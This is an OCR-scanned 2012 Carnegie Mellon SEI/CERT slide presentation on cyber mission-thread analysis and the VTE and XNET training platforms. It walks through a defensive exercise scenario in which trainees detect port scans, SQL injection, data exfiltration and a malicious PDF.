•  Long  term  automation  objective  requires  understanding  the  analytical  framework, 
technical  dependencies  and  patterns  of  cyber  operations 

•  Enabling  rapid,  repeatable  and  flexible  training  is  critical  both  in  the  near  term  and  to 
utilize  eventual  automation  techniques 


*Cyber  S&T  Priority  Steering  Council  Research  Roadmap,  NDIA  Disruptive  Technologies  Conference,  8  Nov  2011 
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Task  A1 :  Create  a  catalog  of  cyber  security  mission  thread 
artifacts 

Problem  1 


Can  an  approach  be  developed  to  enable  our  cyber  warriors  to 
quickly  gain  an  understanding  of  operational  impacts  on  their 
networks  and  missions  when  cyber  actions  are  considered  in 
response  to  attacks/threats? 

•  Need  an  approach  which  can  be  used  to  analyze  and 
evaluate  the  agility  and  resilience  of  the  infrastructure 

•  The  approach  must  support  mission  assurance  analysis 

•  The  approach  needs  to  be  able  to  address  changing 
adversary  TTPs 

•  Risk  identification  and  prioritization  is  a  key  aspect  that  must 
be  addressed 
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Task  A1 :  High-Level  Cyber  Security  Mission  Thread  Approach 
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Task  A2:  Develop  Cyber  Security  Workforce 
Development  Framework 


Solution 

1.  Work  with  the  XNET  team  to  incorporate  the  use  of  the  mission 
thread  artifacts  to  create  a  catalog  of  scenarios 

2.  Work  with  the  Malicious  Code  team  to  define  requirements  and 
develop  a  malware-like  framework  which  supports  XNET  and  the 
scenarios  being  developed 

3.  Based  on  previous  XNET  cyber  exercises,  evaluate  traffic/data 
generation  capabilities  and  the  need  to  enhance  the  XNET 
capabilities  to  support  the  scenarios  being  developed 

•  internal  application,  MIT’s  Lariat  or  other  external  applications 

•  external  interfaces  to  real/simulated  hardware/communication  links 

4.  Pilot  with  organizations  with  existing  XNET  setups 
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Task  A2:  Cyber  Security  Workforce  Development 
Training  Approach 
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Supporting  client  need:  OSD  CAPE 


Mission 

OSD  CAPE  responsibilities  include: 

•  analyzing  and  evaluating  plans,  programs,  and  budgets  in  relation  to  defense  objectives  and  threats 

•  providing  leadership  in  developing  improved  analytical  tools  for  analyzing  national  security  planning 

•  ensuring  that  the  costs  of  DoD  programs  are  presented  accurately  and  completely 

Adapted  from  http://www.cape.osd.mil 

SEI  Objective 

Enable  DOD  to  develop  a  Cyber  Front  End  Assessment  Model  and  Approach  that: 

•  prioritizes  OSD  C4  mission  objectives 

•  develops  executable  mission  threads  in  order  to  create  high  impact  and  realistic  scenarios  that 
drive  unit,  component  and  joint  virtual  training  exercises  (and  modeling  and  simulation) 

•  results  in  data  collection  and  metrics  that  can  be  leveraged  to  make  meaningful  IT/Cyber 
programmatic  decisions 

Challenges  with  current  approach 

•  Treating  each  exercise  as  a  “one-off  event  is  inefficient  and  doesn’t 
support  consistent  measures  for  analysis  across  events 

•  Lack  of  clarity  around  defined  resiliency  measures 

•  Need  for  objective  ways  to  measure  and  analyze  exercise  results 
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OSD  CAPE:  Approach 


Leverage  multiple  SEI  methods: 

•  Apply  RTSS  Architecture-Centric  Mission  Thread  method  to  prepare  for 
upcoming  cyber  exercise  scenarios 

•  Work  with  CERT  Network  Situational  group  to  bring  into  consideration  real-life 
issues  they  are  addressing  supporting  DoD  networks 

•  Apply  CERT  Resilience  Management  Model  as  the  framework  to  define 
resiliency  measures 

Work  with  CERT  Malicious  Code  group  to  get  an  understanding  of  how 
an  attack  (like  phishing  or  a  PDF-exploit)  works  and  incorporate  that  into 
the  mission  thread 

Participate  in  exercises  to  analyze  effectiveness  of  cyber  mission 
threads  and  collect  resiliency  measurement  data  for  post-event  analytics 

Revise  baseline  mission  threads  and  measures  that  can  be  leveraged 
for  next  exercise 
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OSD  CAPE:  End-to-End  Lifecycle 


Identify 

•  Cyber  security  architectural 
patterns 

•  Mission  area  needs 

•  Tactics,  techniques  and 
procedures 

•  Training  needs 


Identify  exercise  lessons 
learned 


Architecture  evaluations 
Risk  identification 
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Green  -  occurred 


Yellow  -  envisioned 


Create  daily  scenarios  for  the  exercise 


Mission  Objectives 


Data 

Analysis 


Cyber  exercise  based  around 
XNET 


DoDAF-like  views  (OV-1 ,  -3 
and  -4) 

Vignettes 
Mission  Threads 
Quality  Attributes 
Risk  Drivers 


Mission  Threads 
Artifacts 


vs 


Applied  NSS’s  cyber  security  initiatives  methods  in 
the  areas  of  Resilience  Management  Model  and 
Network  Situational  Awareness 
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OSD  CAPE 


Impact 


•  SEI  preliminary  mission  threads  were  used  during  the  cyber  exercise  pre-planning  meeting,  led 
by  LCDR  Michael  C.  Holland  USCYBERCOM  J-73,  to  develop  scenarios  for  the  December 
Cyber  Flag  exercise 

•  Information  provided  by  the  SEI,  and  others,  is  being  used  at  the  initial  planning  conference  for 
this  year’s  cyber  exercise  mission  to  help  prepare  for  the  next  exercise. 


For  example,  mission  threads  providing  additional  detail  about  threats 
origination  are  likely  to  be  used  to  decide  where  to  put  sensors  for  the 
next  exercise. 


Impact  Statement  Dr.  Dixon,  OSD  CAPE  (paraphrased): 

Cyber  Flag  daily  scenarios  were  significantly  enhanced  due  to  the 

mission  thread  method.” 
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Recent  OSD  CAPE  Activity  (2/28/1 2) 

Completed  delivery  of  data  analysis  efforts  from  Cyber  Flag  12-1 

•  Identified  what  information  was  able  to  be  recorded  during  the  exercise  (through  sensors),  as  well 
as  what  information  was  not  able  to  be  captured  due  to  sensor  placement,  storage,  etc. 

•  Identified  what  additional  information  could  be  obtained  in  future  cyber  exercises  based  on: 

-  Earlier  and  more  detailed  pre-planning  for  the  cyber  exercise 

-  If  additional  resources  were  applied  to  existing  setup 

•  Provided  proposal  to  OSD  CAPE  client  for  how  to  apply  the  end-to-end  cyber  mission  assurance 
approach  (circle  flowchart  graphic) 

Other  potential  and  current  clients  applying  approach 

•  Currently  leveraging  secure  mission  thread  approach  on  DHS  S&T  Commercial  Warning  Automated 
System  (CMAS)  project 

-  Mission  threads  used  to  define  emergency  response  scenario  analysis  and  to  identify  security 
threat  risks 

•  OPNAV  N-81  interested  cyber  defense  and  modeling 

•  Multiple  related  discussions  across  DoD  and  Intel  community 

•  Developing  research  proposal  targeted  at  establishing  a  Mission  Assurance  program  initiative 
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OSD  CAPE  Next  Steps 


Data  Planning/management/processing  for  a  cyber  exercise 

•  Requested  SEI’s  continued  support  for  Cyber  Flag  13-1  planning  and  exercise  data 
observer 

-  Provide  a  new  work  plan  which  reflects  guidance  and  options  provided 

•  Continue  to  focus  on  improving  the  ability  to  record  and  analyze  data 

-  Based  on  vignettes/scenarios  being  proposed  to  CYBERCOM  for  Cyber  Flag  13-1 : 

•  Identify  how  best  to  take  advantage  of  existing  equipment 

•  Identify  possible  additional  data  collection  capabilities  and  associated  costs 

-  Consider  providing  remote  data  analysis  capabilities  for  the  exercise 

Data  processing/analysis  for  cyber  mission  assurance 

•  Augment  the  vignettes/scenarios  based  on  mission  assurance  approach  to  identify 
possible  options  within  the  scenarios  and  the  ability  to  record  the  information  to  confirm 
the  events  which  occurred 

•  Work  on  developing  the  vignettes/scenarios  to  better  reflect  current  operational 
situations 

•  The  augmented  vignettes/scenarios  will  be  offered  by  OSD  CAPE  to  CYBERCOM  for 
consideration  in  Cyber  Flag  13-1 
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How  is  this  related  to  today’s  Challenges? 


“We  have  an  independent  strategic  assessment  group  made  up  of  senior  experts  from  a  whole  variety  of 
disciplines  across  military  and  civilian  organizations  . .  .So  the  recoi  Mission  Thread  Analysis  ly  took  on 
and  I  think  I’m  e>  Mission  Diagnostics  r  of  these...  We’ve  got  to  analyze  what  are  the  things  that  are  most 
important  to  us,  prioritize  them  and  decide  how  do  we  defend  them  Cyber  Mission  Thread  Catalog  i 
machine-to-machine  situational  awareness  relationships,  both  in  and  out  of  the  defense  focused 
networks.  Create  and  incorporate  automated  indications  and  warning  Automation  Framework  are.  They 
know  when  an  attack  might  be  occurring  and  can  warn  us  ahead  of  time  instead  of  telling  us  that 
something  has  occurred.  Cyber  Threat  Patterns  aracterize  better.  Look  for  the  cause,  the  risk  and  the 
mitigation  of  an  event. 


Interesting  comment  out  of  this  [assessment]  group  that  people  need  to  be  reminded  that  the  networks 
aren’t  the  mission,  the  networks  support  the  mission,  and  I  think  there  was  a  period  of  time  where  we 
maybe  kind  of  strayed  a  little  bit  and  looked  at  cvber  as  its  own  art  form  and  it  was  the  mission  and,  in 
fact,  like  space  it  enab  Systems  of  Systems  Approach  jr  and  if  we’re  not  looking  at  it  from  that  broad 
enterprise  aspect  we  will  probably  not  be  successful.” 

10.20.09  -  REMARKS  BY  GENERAL  GENE  RENUART  at  the  AFCEA  Defending  America,  Cyber  2010 
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Questions? 
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Virtual  Training  Environment 
(VTE)  and  XNET  Overview 


Software  Engineering  Institute 


Carnegie  Mellon 


NETCOM  -  VTE  &  XNET 


Overview  of  VTE 
Overview  of  XNET 

Integrating  VTE  &  XNET  into  NETCOM  Training 
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VTE  (http://vte.cert.org) 


Asynchronous  Knowledge  and  Skill  building 

•  Captured  Classroom  Lectures 

-  Slides,  Video,  Transcript,  Learning  Management  System 

-  Enterprise  management  tools 

•  Instructor  Demonstrations 

-  Narrated  Screen-recordings  that  teach  specific  skills 

•  Hands-on  Labs 

-  Practice  for  developing  cybersecurity  skills 
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VTE  (http://vte.cert.org) 


Entry  Level  Training 

•  Security  + 

•  IAT  Level  I 

•  1AM  Level  I 

Advanced  Level  Training 

•  CISSP 

•  CISA 

•  ISSEP 

Technology  Specific  Training 

•  IPv6 

•  Wireless  Security 

•  SiLK  &  Netflow  Analysis 
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The  Cyber  Exercise  Challenge 


How  to  make  cyber  exercises  routine,  realistic, 
repeatable,  and  cost  effective? 

•  Logistics 

-  Travel  and  facility  cost 

-  Building/managing  exercise  infrastructure 

•  Complexity 

-  Difficult  to  create  realistic  and  current  scenarios 

-  Exercise  infrastructures  too  monolithic 

•  Outcome 

-  Limited  benefit  to  workforce  cyber  readiness 
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Solution:  CERT  Exercise  Network  (XNET) 


Browser-based  access  to  mission-specific 
cyber-exercise  environment 

Frees  units  from  the  resource  intensive  tasks 
of... 

•  building 

•  deploying 

•  administering 

...the  exercise  environment 

Allows  controllers  to  focus  on  exercise  objectives 
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XNET  Overview 


Web-based  Access 
Centrally  managed  Infrastructure 
Customizable  Scenarios 
Structured  Control 
Team  Collaboration 
Assessment  and  Observations 
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/  Software  Engineering  Institute 

CERT  |  Carnegie  Mellon 


Home  |  Events  |  CERT 


Welcome  to  CERT's  Exercise  Network  (XNET).  XNET  is  a  next-generation 
cybersecurity  training  and  simulation  platform,  providing  web-access  to  real-time 
security  events  on  dynamically  deployed  computers  and  network  infrastructure. 


XNET 


I  We  facilitate  events  in  the  spectrum  of  hands-on  instructor-led  training  to  live-fire 
I  exercises  for  small  teams  or  large  organizations.  Our  goal  is  to  offer  rich  training 
scenarios  on  a  hassle-free  infrastructure. 

To  register  for  an  upcoming  event,  please  visit  the  Events  page.  If  you  already 
have  credentials  for  your  scheduled  event,  dick  the  Login  button. 

For  more  information  about  XNET,  please  see  the  following  documentation: 

•  CERT  Approach  to  Cybersecurity  Workforce  Development 

•  XNET  Brochure 

•  XNET  Whitepaper 
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Requirements 


The  user  experience  can  be  affected  by  the  network  conditions  between  the 
participants  and  the  exercise  environment.  Please  use  the  SpeedTest  to  verify 
that  each  user  connection  exceeds  384/ Kbs  with  less  than  230/ms  of 
latency. 

•  Web  Browser  that  allows  Microsoft's  signed  ActiveX  Remote  Desktop 
Control  OR  CERT’s  signed  Java  Applet 

•  Screen  resolution  of  1280x800  or  greater 
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Demo  Exercise 

Upcoming  Events 

We  often  have  a  demo  exerdse  running  for  you  to  try  out.  While  we  don’t 
guarantee  availability  of  this  exercise,  we  invite  you  to  try  logging  in  with  the 
following  credentials: 

04/19/2011  -  Incident  Response  Training 
Course  Capstone 

•  Username:  your  name 

•  Password:  demo 

04/25/2011  -  National  Cyber  Readiness 
Training  Program 

If  login  does  not  work,  all  the  demo  seats  are  filled.  Please  try  again  in  a  few 
minutes. 

06/20/2011  -  International  Cyber  Defense 
Workshop 

For  further  inquiry  please  contact  us  at  xnet-info@cert.org 

Carnegie  Mellon 
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Access 


Requires 

•  Web  Browser,  Java,  and  Internet  connectivity 
Self-contained  environment 

•  Scenario  network  traffic  contained  in  virtual  sandbox  via  RDP  Air-Gap 


Geographically  Separated  Teams  have 
Instant  Access  to  Live  Exercise  Scenarios 
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Centrally  Managed  Infrastructure 

NextGen  Virtualization 
Granular  Exercise  control 
Can  “Plug-In”  to  DoD  Ranges 
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Customizable  Scenarios 


XNET  allows  you  to: 

•  Create  your  environment 

•  Create  your  events 

•  Create  your  timeline 
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i-fi 


Customizable  Scenarios  -  Forensics 


XNET  utilized  to  provide  a  real-time  Forensics  Challenge 
for  Annual  Cyber  Defense  Exercise 


Access  to  CERT  Forensics  Appliance, 
LiveView  Images,  C-CAP 


CERT  Forensics  Appliances 


CFA1  CFA2  CFA3 

10  2  2.75  10.2.2  76  10.2.277 


CFA4  CFA5 

10.2.2.78  10.2.2.79 


HQ-SQL  Captured  Wrkstn 

10.2.2.2  210.2.161.196 

0  & 


f  CERTs  Clustered-Computing  Analysis  Platform  {C-CAP) 


Notional  Captured  Workstation  -  Native  Arabic  XP  Install 


KWW>9*K-t©  jtj) 

(Tj 

uno«--  (r*| 

*n  jn.om«x*Trr  5) 


c«imlv.ii»ta  0 

0 

botnet  0 
ltr«  cj} 

0 

boyjfo  14 
royao 


3J,I 


'AM:**?  fVi*  PtlfV 


vjUlcJl  ,)X  (Jaj 


Software  Engineering  Institute  CamegieMellon 


81 


Structured  Control 


On-the-Fly  modification 

•  Timeline  and  Event  Library 
Realistic  Threats 

•  Drag  and  Drop  attacks/anomalies 

•  Robust  traffic  generation 
Automated  data  collection 

•  Real-time  readiness  metrics 
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Team  Collaboration 


Chat 

•  Instant  out-of-band  communications 

White  boards  via  WIKI  pages 

•  Collaborate  on  problems,  share  ideas,  answer  team 
questionnaires 

Scenario  Maps 

•  Share  remote  desktop  (learn  from  others) 

•  Work  as  a  team  in  a  single  environment 
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Assessment  and  Observation 


Allows  users  to: 

•  Provide  Feedback 

•  Take  Quizzes 

•  Submit  Reports 
Allows  evaluator  to: 

•  Glean  Instant  feedback 

•  Pose  Leading  Questions 

•  Evaluate  users  responses 

•  Access  Automated  Scoreboard 


Admin  |  Mission  |  Team  |  Map  Form  |" 
End  of  Exercise  Survey 


ANALYST 

TheXNET  portal  was  user  friendly  and  easy  to  navigate. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

The  exercise  provided  realistic  threat/response  scenarios. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

c 

Strongly  Disagree 

The  training  scenario  was  both  challenging  and  engaging. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

This  training  methodology  would  enhance  analyst  readiness. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

1  would  recommend  this  training  methodology  to  my  peers. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

INSTRUCTOR 

TheXNET  portal  was  user  friendly  and  easy  to  navigate. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

C 

Strongly  Disagree 

The  scenario  enabled  the  analysts  to  practice  AFCERT  TTPs. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

The  portal  allowed  me  to  control  the  flow  of  the  training  scenario. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

1  was  able  to  effectively  monitor  the  progress  of  the  participants. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

This  training  methodology  would  enhance  overall  unit  readiness. 

r 

Strongly  Agree 

r 

Agree 

r 

Neutral 

r 

Disagree 

r 

Strongly  Disagree 

Please  add  any  comments  that  might  help  us  improve: 

- 3 
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XNET:  Force  Utilization  Examples 


US  Army  NETCOM 
USAF 

US  Army  Reserves 

OSD/NII 

NSA 

DHS  /  US-CERT 


09:45  09:55 

Chaff  Probing 


10:05 

Hosts 

Compromised 


10:20 

Phishing  Email 
Reported 


Scene  2 


10:25 

Data  Exfiltration 

1 


10:55 

Bot-net  Spreads 


Scene  4 


1 


1 — f 

):30 

09:45 


Scene  1 
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Scene  3 
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r 

12:00 


STARTEX 


10:00  10:15 

Phishing  Email  DNS  Beaconing 
Sent 


10:30 

IRC  Chat  Bragging 


10:45 

Bot-net 

Downloaded 


ENDEX 
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Infrastructure 


Fixed  (Primary) 
Deployed 

(secondary  alternative 
-  limited  capabilities) 


CVJ  HP  BladeSystem  Onboard  Administrator 


System  Status 


View  Legend ... 


□  ■  Wizards  ▼  Option 


Rack  Overview  -  ProductionRack 


jj|  Print  Q  Help 


Updated  Thu  May  27  2010,  07:01:54 


o  v  &  ®  © 

System  Status  0  0  0  0  0 


Rack  Overview 
Rack  Firmware 


*  HPCHASSIS-1 
»  HPCHASSIS-2 

Primary:  HPCHASSIS-1 

D  Enclosure  Information 
Linked:  HPCHASSIS-2 
B  Enclosure  Information 
□  Enclosure  Settings 
B  Active  Onboard  Administrator 
B  Standby  Onboard  Administrator 
B  Device  Bays 
B  Interconnect  Bays 
B  Power  and  Thermal 
Q  Users/Authentication 
Insight  Display 


«  L 
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Rack  Topology 


HPCHASSIS-1 


Enclosure  Name:  HPCHASSIS-1 
Serial  Number:  USE910KNKW 

Part  Number:  412152-B21 

Asset  Tag: 

UD  State.  £  0ff 


J  Insight  Display 

Primary  Connection 


Enclosure  Name:  HPCHASSIS-2 
Serial  Number:  USE926P1 RS 

Part  Number:  412152-B21 

Asset  Tag: 

UD  State:  3  Off 

ca  Insight  Display 
B  Linked  -  Signed  In 
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OPERATION  ELITE  MERCURY 
“Gaining  Cyber  Dominance” 

U.S.  Army  NETCOM 

Cyber  Centers’  Computer  Network 
Operations  (CNO)  and  Computer  Network 
Defense  (CND)  teams 


Annual  Capstone  Exercise  /  Assessment 

“Best  Cyber  Center  ”  Award 


Collective  Monthly 


Initial  Individual 
Training  (VTE) 
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XNET  Scenario  Introduction 


Brent  Kennedy 
27  March  2012 
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Example 


io  Overview 


Our  scenario  today  was  utilized  during  mission  validation  of  the  U.S. 
Army  Reserve  Information  Operations  Command’s  Detachment  52  in  its 
preparations  for  mobilization  and  deployment  to  Cyber  Center  SWA. 

Your  mission  is  to  gain  full  situational  awareness  of  the  network 
including  normal  and  abnormal  traffic. 

The  exercise  is  divided  into  2  overall  sections. 

The  first  section  will  be  network  reconnaissance  which  includes 
familiarization  with  the  systems  and  tools,  benchmarking  the  network 
traffic,  and  testing  all  hosts  for  vulnerabilities. 

The  second  section  will  introduce  active  attacks.  As  a  collective  group, 
you  must  identify  the  attacks  to  determine  what  they  are  doing  and 
where  they  are  coming  from. 
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Scenario  Overview  (continued) 


The  network  you  must  protect  is  divided  into  3  parts:  NOSC,  Fort  Hood, 
and  Fort  Huachuca. 

The  NOSC  is  "physically"  located  at  Fort  Hood  but  can  be  thought  of  as 
a  separate  network. 

During  your  network  reconnaissance  take  a  close  look  at  each  network. 

You  should  have  a  full  understanding  of  all  the  hosts  they  contain  as 
well  of  the  traffic  coming  in,  out,  and  within. 
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Scenario  Overview  (continued) 


Topology  overview 

External  scanning 

Zones:  NOSC,  Hood,  Huachuca 

Actions:  Login  to  Arcsight  from  Mgmt  machines 

What  to  look  for:  port  scan  notifications 

Highlights:  Arcsight 
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Exercise  Environment 
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Exercise  Environment  (continued) 
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Exercise  Environment  (continued) 
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Exercise  Environment  (continued) 
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Scenario  Overview  (continued) 


User  scanning 

Zones:  Hood,  Huachuca 

Actions:  Use  retina  on  Mgmt  machine  to  scan 
user  subnet 

WTLF:  #  hosts  unpatched  (IPs:...) 

Highlights:  Retina,  Nessus 
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Scenario  Overview  (continued) 


SQL  Injection 
Zones:  Hood 

Actions:  Have  Arcsight  Open  from  Mgmt 
machines 

WTLF: 

‘SQL  Injection’  and  ‘TFTP’  log  entries 
Web  logs  with  attack  string 
Highlights:  Arcsight 
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Scenario  Overview  (continued) 


Data  Exfiltration 
Zones:  Huachuca 

Actions:  Open  wireshark  on  internal  and 
external  snort 

WTLF:  data  packets  from  3  exfiltrations;  all  3 
send  ‘Sherlock  Holmes’  over  the  wire 

Highlights:  Wireshark 
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Scenario  Overview  (continued) 


Create  HBSS  ePo  report  (time  permitting) 

Zones:  NOSC,  Hood,  Huachuca 

Actions:  Connect  to  ePo  server  and  generate 
report  on  users 

WTLF:  ePo  interface  and  report 
Highlights:  HBSS  ePo 
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XNET 


Exercise  Login 


1. 

2. 

3. 

4. 

5. 

6. 


7. 


Please  open  Internet  Explorer  and  navigate  to 

http://xnet.cert.org 

Please  click  on  the  green  LOGIN  button  in  the 
upper  right  hand  corner. 

Please  login  using  the  credentials  on  your 
name  placard  in  front  of  you. 

Your  screen  should  now  appear  similar  to  the 
one  at  the  right. 

Please  click  on  the  “Connect”  button  under  IE 
Access. 


You  may  be  prompted  about  allowing  the 
RDP  client  to  access  the  website  and  about 
accepting  the  self-signed  certificate.  Please 
click  on  “Connect”  and  “Yes”  respectively. 

Once  you  are  logged  in,  please  give  one  of 
our  instructors  a  thumbs  up. 
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Welcome  to  XNET 


n 

TEAM 


b*b  □  44-b  B"  03  ®  ©  JU 

MAP  SYSTEMS  LABS  EVAL  SCORE  RECORD  ABOUT  “■■■■ 


LABS 
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▼  Admin 
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To  access  the  scenario  topology,  click  on  the  map  tab.  Once  you  are  on  the  Map  tab,  you  will  see  the  Afghan  Mission  Network.  Each  circle  on  this  map  represents  a 
unit  supporting  operations  in  the  Afghanistan  theatre.  Yourteam  will  be  representing  "AFIT1AI  Udeid  AFB,  Doha,  Qatar".  Click  on  the  circle  named  AFITlto  view  the 
NGO's  network  that  was  compromised  and  access  the  CERT's  Clustered-Computing  Analysis  Platform  (C-CAP).  Double  click  a  machine  on  the  C-CAP  portal  to  view  the 
console  for  that  system. 

□ 

systems  page  holds  multiple  machines  open  in  tabs. 


S' 


Quizzes  are  used  to  test  your  understanding  of  the  scenario.  These  are  available  under  the  eval  tab.  These  evaluations  will  guide  you  through  the  tasks  that  you  need 
to  accomplish  for  this  scenario.  Please  keep  in  mind  that  only  one  person  on  a  team  can  edit  a  quiz  at  a  time. 


Once  the  challenge  is  over,  the  final  results  will  be  published  under  the  SCOPE  tab. 


There  are  a  couple  of  forensics  labs  available  under  the  labs  tab.  These  labs  are  useful  resources  on  forensic  collection  and  analysis  of  volatile  and  persistent  data. 


Manuals  of  these  labs  are  available  on  the  exercise  page.  To  start  a  lab,  click  the 
lab  manual  to  carry  out  the  lab.  Once  done,  hit  the  ®  button. 


Team  coordination  features 


button.  This  will  deploy  virtual  machines  for  that  lab.  Follow  the  instructions  in  the 


zr 


wiki  tab  is  useful  for  sharing  notes  and  important  information  amongst  the  team  members. 

Chat  window  on  the  bottom  left  lets  you  chat  with  other  participants.  From  the  dropdown  menu,  you  can  select  either  a  team  name  to  send  message  to  the  entire  team 
or  a  team  member  to  chat  privately. 


tab  is  used  to  record  participants  activity  in  XNET.  To  start  recording,  click 
on  the  clip  and  select  play. 


0 


button.  Stop  the  recording  using  the  same  button.  To  play  the  video,  right  click 


Use  the 


button  to  logout  of  the  portal 
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Scenario  Overview 


Stage  1 : 

Normal  chaff 

•  User  internet  traffic 

•  Local  domain  traffic 

•  Typical  external  port  scanning  (e.g., 
port  22,  80,  etc.) 

Vulnerability  analysis 

•  Network  situational  awareness 
(benchmark) 

Stage  2: 

Increased  external  probing 

•  DoS 

Sensor  familiarization 
Illegal  software  installed 


Stage  3: 

Intrusion  detection 
SQL  injection 
IRC  chat 

Stage  4: 

Intrusion  detection: 

Insider  threat 
DoS 

Data  exfiltration 

Easy/medium/hard 
Malicious  PDF  released  (malware) 
Detection  of  malicious  file, 
processes,  etc. 

Stage  5: 

Threat  analysis  of  malware 
Debrief 
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Scenario  Execution 


“Weapons  Free  ” 
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Scenario  Wrap  Up  -  Review  Stage  1 


CDAP: 

•  Analyze  4  servers,  20  users 

•  Identify  1  host  w/o  SP 

•  Identify  1  server  missing  a  patch 

•  Identify  1  server  running  anonymous  FTP 
CND: 

•  Establish  baseline  w/Arcsight,  Snort 

•  Find  open  ports  of  concern  on  firewall  (23,  37331 ,  etc.) 

IH: 

•  Run  Retina  scans  (Findings?) 
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Scenario  Wrap  Up  -  Review  Stage  2 


CDAP: 

•  Find  unauthorized  software  installations 

•  2  occurrences  on  different  hosts 
CND: 

•  Identify  and  blacklist  problem  IPs  (external) 
IH: 

•  Remediate  vulnerabilities  and  threats 
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Scenario  Wrap  Up  -  Review  Stage  3 


CDAP: 

•  Identify  problem  areas  that  allowed  for  SQL  Injection 

•  No  data  validation  on  web  page 

•  Vulnerable  SQL  server 
CND: 

•  Identify  user  machine  and  external  IP  talking  via  IRC 

•  Find  SNORT  alerts  relating  to  IRC  and  SQL  Inject 
IH: 

•  Remediate  vulnerabilities  and  threats 
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Scenario  Wrap  Up  -  Review  Stage  4 


CDAP: 

•  Stop  exfiltration  attacks  from  occurring 

•  Determine  where  malware  originated  (internal  IP  address) 
CND: 

•  Detect  3  exfiltration  attempts:  easy/med/hard 

•  What  type?  Any  payload/file? 

•  Internal/External  IPs 

•  Identify  a  DoS  occurring  from  inside  the  network 

•  Source  and  destination  IPs  (ipv6?) 

•  Identify  malware  on  the  network 

IH: 

•  Remediate  vulnerabilities  and  threats 

•  Identify  malware  (malicious  PDF) 
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Conclusion 


On  behalf  of  Carnegie  Mellon  University,  the  Software  Engineering 
Institute,  and  the  CERT  Enterprise  and  Workforce  Management 
Directorate,  thank  you  for  your  time  today. 


Brian  D.  Wisniewski 

Lead  Cyber  Security  Developer  &  Trainer 
bdwisniewski@cert.org 
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Notices 


©  2012  Carnegie  Mellon  University 

This  material  is  based  upon  work  supported  by  the  U.S.  Department  of  Defense  under  Contract  No. 
FA8721-05-C-0003  with  Carnegie  Mellon  University  for  the  operation  of  the  Software  Engineering 
Institute,  a  federally  funded  research  and  development  center. 

Any  opinions,  findings  and  conclusions  or  recommendations  expressed  in  this  material  are  those  of  the 
author(s)  and  do  not  necessarily  reflect  the  views  of  the  United  States  Department  of  Defense. 

NO  WARRANTY 

THIS  MATERIAL  OF  CARNEGIE  MELLON  UNIVERSITY  AND  ITS  SOFTWARE  ENGINEERING 
INSTITUTE  IS  FURNISHED  ON  AN  “AS-IS"  BASIS.  CARNEGIE  MELLON  UNIVERSITY  MAKES  NO 
WARRANTIES  OF  ANY  KIND,  EITHER  EXPRESSED  OR  IMPLIED,  AS  TO  ANY  MATTER 
INCLUDING,  BUT  NOT  LIMITED  TO,  WARRANTY  OF  FITNESS  FOR  PURPOSE  OR 
MERCHANTABILITY,  EXCLUSIVITY,  OR  RESULTS  OBTAINED  FROM  USE  OF  THE  MATERIAL. 
CARNEGIE  MELLON  UNIVERSITY  DOES  NOT  MAKE  ANY  WARRANTY  OF  ANY  KIND  WITH 
RESPECT  TO  FREEDOM  FROM  PATENT,  TRADEMARK,  OR  COPYRIGHT  INFRINGEMENT. 

Use  of  any  trademarks  in  this  presentation  is  not  intended  in  any  way  to  infringe  on  the  rights  of  the 
trademark  holder. 

This  Presentation  may  be  reproduced  in  its  entirety,  without  modification,  and  freely  distributed  in 
written  or  electronic  form  without  requesting  formal  permission.  Permission  is  required  for  any  other 
use.  Requests  for  permission  should  be  directed  to  the  Software  Engineering  Institute  at 

Dermission@sei.cmu.edu. 

CERT®  is  a  registered  mark  owned  by  Carnegie  Mellon  University. 
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